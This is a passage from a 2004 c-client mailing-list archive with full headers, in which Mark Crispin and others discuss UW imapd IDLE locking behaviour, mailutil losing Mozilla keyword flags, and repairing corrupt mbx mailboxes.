with IDLE for me. Please try unmodified UW imapd and see if that works for you. If so, that would suggest that the problem is in Redhat's distribution. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Apr 7 02:19:22 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Apr 2004 02:19:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i379JMG3031774 for ; Wed, 7 Apr 2004 02:19:22 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i379JKvv017241 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Apr 2004 02:19:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i379IE1s015566; Wed, 7 Apr 2004 02:18:14 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i379EMK9074666 for ; Wed, 7 Apr 2004 02:14:23 -0700 Received: from kala.atp.fi (kala.atp.fi [194.100.4.104]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i379EJOS012160 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Apr 2004 02:14:21 -0700 Received: from atp.fi (eremite.atp.fi [194.100.4.133]) by kala.atp.fi (8.12.8/8.12.8) with ESMTP id i379Du4S008116; Wed, 7 Apr 2004 12:13:56 +0300 Message-Id: <4073C653.5010907@atp.fi> Date: Wed, 07 Apr 2004 12:13:55 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ere Maijala To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: IDLE support problem In-Reply-To: References: <4072D822.6080900@atp.fi> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-atp.fi-MailScanner-Information: Please contact administration for more information X-atp.fi-MailScanner: Found to be clean X-atp.fi-MailScanner-SpamCheck: not spam, SpamAssassin (score=0, required 6.29) X-Accept-Language: en-us, en X-MailScanner-From: ere@atp.fi X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Tue, 6 Apr 2004, Ere Maijala wrote: > >> My server is running UW imapd 2003.338rh. I just noticed a problem >> with the IDLE command. It seems that if there are two connections to >> the server, and one of them has for example INBOX selected and in IDLE >> mode, another connection can't gain read-write access to the INBOX. No >> kiss of death is issued on the IDLE connection. Is this deliberate? > > > I can't reproduce this problem with unmodified UW imapd; kiss of death > works fine with IDLE for me. > > Please try unmodified UW imapd and see if that works for you. If so, > that would suggest that the problem is in Redhat's distribution. Sorry, it was my fault. I tried with unmodified imapd 2004 RC7, but still had the problem. Turned out I wasn't reading the network capture carefully. The connection was dropped correctly, but my mail client reconnected immediately and selected INBOX again. This would cause problems for the other process trying to get the lock, right? Ere From pinedev@shivax2.cac.washington.edu Wed Apr 7 09:26:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Apr 2004 09:26:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37GQaqk016332 for ; Wed, 7 Apr 2004 09:26:36 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37GQW4T032306 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Apr 2004 09:26:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i37GOePe008446; Wed, 7 Apr 2004 09:24:40 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37GNNZA089758 for ; Wed, 7 Apr 2004 09:23:23 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37GNMfm006266 for ; Wed, 7 Apr 2004 09:23:22 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37GNL4G020183; Wed, 7 Apr 2004 09:23:21 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37GNKco029811; Wed, 7 Apr 2004 09:23:21 -0700 Message-Id: Date: Wed, 7 Apr 2004 09:23:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ere Maijala Cc: c-client@u.washington.edu Subject: Re: IDLE support problem In-Reply-To: <4073C653.5010907@atp.fi> References: <4072D822.6080900@atp.fi> <4073C653.5010907@atp.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 7 Apr 2004, Ere Maijala wrote: > Sorry, it was my fault. I tried with unmodified imapd 2004 RC7, but still had > the problem. Turned out I wasn't reading the network capture carefully. The > connection was dropped correctly, but my mail client reconnected immediately > and selected INBOX again. This would cause problems for the other process > trying to get the lock, right? Indeed it would. If the other process got the lock, it would be stolen away from it right away. Or, if the other process hadn't yet gotten it yet (an unlikely timing race) before the reconnection seized it, it wouldn't know about the reconnection. Either way, it loses. Sounds like a very unfriendly client. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Apr 7 09:41:25 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Apr 2004 09:41:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37GfPww017087 for ; Wed, 7 Apr 2004 09:41:25 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37GfNK8032399 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Apr 2004 09:41:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i37GdT97013110; Wed, 7 Apr 2004 09:39:29 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37GcLrN068660 for ; Wed, 7 Apr 2004 09:38:21 -0700 Received: from smtp-in.rrz.uni-koeln.de (smtp-in.rrz.Uni-Koeln.DE [134.95.19.47]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37Gamnu000420 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 7 Apr 2004 09:36:50 -0700 Received: from [192.168.1.11] (xdsl-213-196-208-206.netcologne.de [213.196.208.206]) (authenticated as user a0620 using DIGEST-MD5 bits=0) by cyrus.rrz.uni-koeln.de (8.12.11/8.12.11) with ESMTP id i37GahwD031286 for ; Wed, 7 Apr 2004 18:36:45 +0200 Message-Id: <2147483647.1081363003@[192.168.1.11]> Date: Wed, 07 Apr 2004 18:36:43 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: c-client@u.washington.edu Subject: Re: IDLE support problem In-Reply-To: References: <4072D822.6080900@atp.fi> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Virus-Scanned: by amavisd-new X-Spam-Report: MIME_QP_LONG_LINE X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __CD 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_SPARSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- Mark Crispin is rumored to have mumbled on=20 Mittwoch, 7. April 2004 9:23 Uhr -0700 regarding Re: IDLE support problem: > On Wed, 7 Apr 2004, Ere Maijala wrote: >> Sorry, it was my fault. I tried with unmodified imapd 2004 RC7, but >> still had the problem. Turned out I wasn't reading the network capture >> carefully. The connection was dropped correctly, but my mail client >> reconnected immediately and selected INBOX again. This would cause >> problems for the other process trying to get the lock, right? > > Indeed it would. If the other process got the lock, it would be stolen > away from it right away. Or, if the other process hadn't yet gotten it > yet (an unlikely timing race) before the reconnection seized it, it > wouldn't know about the reconnection. > > Either way, it loses. > > Sounds like a very unfriendly client. That depends on your point of view ... Mulberry behaves that way, because=20 it assumes that a dial-up connection was interrupted or some stupid NAT box = timed out. Too many users complained that they had to manually reconnect=20 under those circumstances. IMO, the real solution to the problem is to switch to mbx mailbox format,=20 because it can handle concurrent sessions. -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ "Being just contaminates the void" - Robyn Hitchcock From pinedev@shivax2.cac.washington.edu Wed Apr 7 11:56:25 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Apr 2004 11:56:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37IuO2u023926 for ; Wed, 7 Apr 2004 11:56:24 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37IuKUw006463 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Apr 2004 11:56:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i37ItPIW002806; Wed, 7 Apr 2004 11:55:25 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37IsPsr016980 for ; Wed, 7 Apr 2004 11:54:25 -0700 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37IsMD7020800 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 7 Apr 2004 11:54:24 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id i37IsKOp022803 for ; Wed, 7 Apr 2004 20:54:20 +0200 (CEST) Received: from obiou.imag.fr ([129.88.43.2] ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1BBIBo-0008SR-00 for ; Wed, 07 Apr 2004 20:54:20 +0200 Message-Id: Date: Wed, 7 Apr 2004 20:54:20 +0200 (MEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: mailutil and MUA flags MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: kowalski@obiou.imag.fr X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. When using the mailutil utility to copy mail/move from a folder to another, some MUA-specific flags are lost, like the Junk or label flags that Mozilla uses. Is this a bug/feature ? Thanks. PS: version in use is 2002e. -- Nicolas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 7 12:01:51 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Apr 2004 12:01:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37J1odB024198 for ; Wed, 7 Apr 2004 12:01:50 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37J1nDv006784 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Apr 2004 12:01:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i37IxrhU016320; Wed, 7 Apr 2004 11:59:53 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37IxVGf010016 for ; Wed, 7 Apr 2004 11:59:32 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37IxVd6030581 for ; Wed, 7 Apr 2004 11:59:31 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37IxUOK027817; Wed, 7 Apr 2004 11:59:30 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i37IxUgc002966; Wed, 7 Apr 2004 11:59:30 -0700 Message-Id: Date: Wed, 7 Apr 2004 11:59:30 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: mailutil and MUA flags In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 7 Apr 2004, Nicolas Kowalski wrote: > When using the mailutil utility to copy mail/move from a folder to > another, some MUA-specific flags are lost, like the Junk or label flags > that Mozilla uses. Mailutil tries to copy keywords, but (depending upon the mail store) some keywords may not copy in the IMAP server. Newer versions of UW imapd do a *much* better job at preserving keywords on copy, but there remain some limitations. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Apr 7 17:38:50 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Apr 2004 17:38:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i380coov008201 for ; Wed, 7 Apr 2004 17:38:50 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i380cmbk020877 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Apr 2004 17:38:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i380bb45018874; Wed, 7 Apr 2004 17:37:37 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i380ZCsM088100 for ; Wed, 7 Apr 2004 17:35:12 -0700 Received: from dhaka.ucc.usyd.edu.au (dhaka.ucc.usyd.edu.au [129.78.64.52]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i380ZATg032137 for ; Wed, 7 Apr 2004 17:35:11 -0700 Received: from dhaka.ucc.usyd.edu.au (localhost.ucc.usyd.edu.au [127.0.0.1]) by dhaka-postfilter.ucc.usyd.edu.au (Postfix) with ESMTP id C3365B74E2 for ; Thu, 8 Apr 2004 10:35:09 +1000 (EST) Received: from [129.78.64.138] (tim.ucc.usyd.edu.au [129.78.64.138]) by dhaka.ucc.usyd.edu.au (Postfix) with ESMTP id E14B2BB40E for ; Thu, 8 Apr 2004 10:35:02 +1000 (EST) Message-Id: Date: Thu, 8 Apr 2004 10:37:49 +1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Nicholson To: c-client@u.washington.edu Subject: Corrupt mbx format mail folders. In-Reply-To: <20040403232349.GA1709@brandeis.edu> References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MSGID_APPLEMAIL 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am using the c-client lbraries, and using some mbx format mailboxes. Occasionally, usually after a system crash, I get corrupted mbx format mailboxes. Is there a tool for repairing, or simple documentation on how to do so? I can see the messages in the file, but get "Error opening or locking INBOX" messages in the log files. Using "mailutil copy" to try read the mailbox, I get an error like: Unable to parse internal header at 13815331: 4Rgxf3J0BM5PembZO3ouNqzT778 Any ideas on how to fix this? Thanks in advance, Tim. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 7 18:08:37 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Apr 2004 18:08:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3818aTi009041 for ; Wed, 7 Apr 2004 18:08:36 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3818ZbE021766 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Apr 2004 18:08:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3817aMS011478; Wed, 7 Apr 2004 18:07:37 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3815IQm049990 for ; Wed, 7 Apr 2004 18:05:18 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3815FrJ027264 for ; Wed, 7 Apr 2004 18:05:15 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3815E38015423; Wed, 7 Apr 2004 18:05:14 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3815EPL022993 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 7 Apr 2004 18:05:14 -0700 Message-Id: Date: Wed, 7 Apr 2004 18:03:10 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tim Nicholson Cc: c-client@u.washington.edu Subject: Re: Corrupt mbx format mail folders. In-Reply-To: References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 8 Apr 2004, Tim Nicholson wrote: > Occasionally, usually after a system crash, I get corrupted mbx format > mailboxes. I assume that you already are taking remedial action on whatever is causing those system crashes, including such things as using an uninterruptable power supply. > Is there a tool for repairing, or simple documentation on how to do so? Some people have written their own tools. Here's information in the FAQ on what you need to know: http://www.washington.edu/imap/IMAP-FAQs/index.html#7.15 > I can see the messages in the file, but get "Error opening or locking > INBOX" messages in the log files. That message is a catch-all from the POP3 server, and as you can expect isn't particularly useful. Pine, the IMAP server, or (as you noticed) mailutil will provide better information. > Unable to parse internal header at 13815331: 4Rgxf3J0BM5PembZO3ouNqzT778 This specific error is the most common encountered with a corrupt mbx format mailbox, and is covered in the IMAP FAQ including what to do. Please let me know if you need any more help. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 8 06:26:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 06:26:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38DQJ6M000809 for ; Thu, 8 Apr 2004 06:26:19 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38DQIF0010837 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 06:26:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38DOFTn017330; Thu, 8 Apr 2004 06:24:15 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38DMowP094066 for ; Thu, 8 Apr 2004 06:22:50 -0700 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38DMlLh027795 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Thu, 8 Apr 2004 06:22:48 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id i38DMeJW028514 for ; Thu, 8 Apr 2004 15:22:42 +0200 (CEST) Received: from obiou.imag.fr ([129.88.43.2] ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1BBZUO-0003di-00 for ; Thu, 08 Apr 2004 15:22:40 +0200 Message-Id: Date: Thu, 8 Apr 2004 15:22:40 +0200 (MEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: mailutil and MUA flags In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: kowalski@obiou.imag.fr X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 7 Apr 2004, Mark Crispin wrote: > On Wed, 7 Apr 2004, Nicolas Kowalski wrote: > > When using the mailutil utility to copy mail/move from a folder to > > another, some MUA-specific flags are lost, like the Junk or label flags > > that Mozilla uses. > > Mailutil tries to copy keywords, but (depending upon the mail store) some > keywords may not copy in the IMAP server. Newer versions of UW imapd do a > *much* better job at preserving keywords on copy, but there remain some > limitations. Thanks for your reply. I just tried with 2004-RC7. mailutil (copy) gave me a lot of errors like: warning: Unknown flag: Junk And the Junk flags were not copied to the destination folder. Is this one of the limitations you wrote about ? -- Nicolas From pinedev@shivax2.cac.washington.edu Thu Apr 8 07:58:55 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 07:58:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38EwsRu004006 for ; Thu, 8 Apr 2004 07:58:54 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with 